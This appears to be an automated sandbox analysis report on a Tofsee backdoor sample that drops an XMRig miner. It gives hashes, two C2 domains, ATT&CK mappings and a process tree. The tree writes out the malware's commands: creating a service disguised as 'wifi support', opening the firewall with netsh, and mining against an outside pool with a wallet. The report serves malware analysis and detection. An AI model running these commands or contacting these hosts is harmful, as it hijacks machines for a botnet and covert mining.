Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2023 05:18

General

  • Target

    file.exe

  • Size

    260KB

  • MD5

    2217a7dc1aa0b5ef18f73aeb4f996d2c

  • SHA1

    2a427ee930b5c575d1ba27eced532570260d515e

  • SHA256

    159ac8af8578d932513d407cfec08d07cc9ea3ff48797cfa96b7c9d45c530554

  • SHA512

    815a66ea25678898be26fe12573c490cb15d4ce3f633ca865d30692425862251a98291a0b705eb148b8017fe139def2620103786997aa836ef281bfd1ea5a8d9

  • SSDEEP

    3072:249jhOaFQDZL6Vh5Fe1uwXbylxgCt9IXiDusLjM1uKNcL+uqHs5xbtufPWQ:1CDZL85KuwGlqCt91D/A1Jm+g1

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jfsgruqi\
      2⤵
        PID:3776
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pewdigld.exe" C:\Windows\SysWOW64\jfsgruqi\
        2⤵
          PID:3112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jfsgruqi binPath= "C:\Windows\SysWOW64\jfsgruqi\pewdigld.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4336
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jfsgruqi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4204
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jfsgruqi
          2⤵
          • Launches sc.exe
          PID:1348
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4980
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 1216
          2⤵
          • Program crash
          PID:2708
      • C:\Windows\SysWOW64\jfsgruqi\pewdigld.exe
        C:\Windows\SysWOW64\jfsgruqi\pewdigld.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2456
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4616
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3604
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 512
          2⤵
          • Program crash
          PID:2768
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4132 -ip 4132
        1⤵
          PID:2680
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2456 -ip 2456
          1⤵
            PID:4772

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pewdigld.exe
            Filesize

            14.0MB

            MD5

            881ed096389c939de5731edc2a3fe638

            SHA1

            fe740ec585d815f15ba8813b96da9b20d8078210

            SHA256

            bb364d31a6dec30475e6b5886ec71d341f288142f5d2ae968ad5c91d06f5c98d

            SHA512

            11f70f6499ec97ba2997057007794ced167c1367284211ba8e5cf58999798b528af7b3437a68da4fe2106ead6bf037d932db0ae65503de1c70030b118946fdfe

          • C:\Windows\SysWOW64\jfsgruqi\pewdigld.exe
            Filesize

            14.0MB

            MD5

            881ed096389c939de5731edc2a3fe638

            SHA1

            fe740ec585d815f15ba8813b96da9b20d8078210

            SHA256

            bb364d31a6dec30475e6b5886ec71d341f288142f5d2ae968ad5c91d06f5c98d

            SHA512

            11f70f6499ec97ba2997057007794ced167c1367284211ba8e5cf58999798b528af7b3437a68da4fe2106ead6bf037d932db0ae65503de1c70030b118946fdfe

          • memory/2456-142-0x0000000000400000-0x0000000000704000-memory.dmp
            Filesize

            3.0MB

          • memory/3604-198-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/3604-199-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/3604-197-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/3604-196-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/3604-195-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/3604-194-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/3604-193-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/3604-188-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/4132-143-0x0000000000400000-0x0000000000704000-memory.dmp
            Filesize

            3.0MB

          • memory/4132-135-0x0000000000850000-0x0000000000863000-memory.dmp
            Filesize

            76KB

          • memory/4616-167-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-176-0x00000000027D0000-0x00000000027D5000-memory.dmp
            Filesize

            20KB

          • memory/4616-161-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-162-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-163-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-164-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-166-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-159-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-165-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-168-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-170-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-171-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-169-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-172-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-174-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-160-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-173-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-175-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-179-0x00000000027D0000-0x00000000027D5000-memory.dmp
            Filesize

            20KB

          • memory/4616-180-0x0000000007300000-0x000000000770B000-memory.dmp
            Filesize

            4.0MB

          • memory/4616-183-0x0000000007300000-0x000000000770B000-memory.dmp
            Filesize

            4.0MB

          • memory/4616-184-0x00000000027E0000-0x00000000027E7000-memory.dmp
            Filesize

            28KB

          • memory/4616-156-0x0000000001BF0000-0x0000000001C00000-memory.dmp
            Filesize

            64KB

          • memory/4616-153-0x0000000001BE0000-0x0000000001BE6000-memory.dmp
            Filesize

            24KB

          • memory/4616-152-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/4616-149-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/4616-148-0x0000000000560000-0x0000000000575000-memory.dmp
            Filesize

            84KB

          • memory/4616-146-0x0000000000560000-0x0000000000575000-memory.dmp
            Filesize

            84KB

          • memory/4616-145-0x0000000000560000-0x0000000000575000-memory.dmp
            Filesize

            84KB

          • memory/4616-139-0x0000000000560000-0x0000000000575000-memory.dmp
            Filesize

            84KB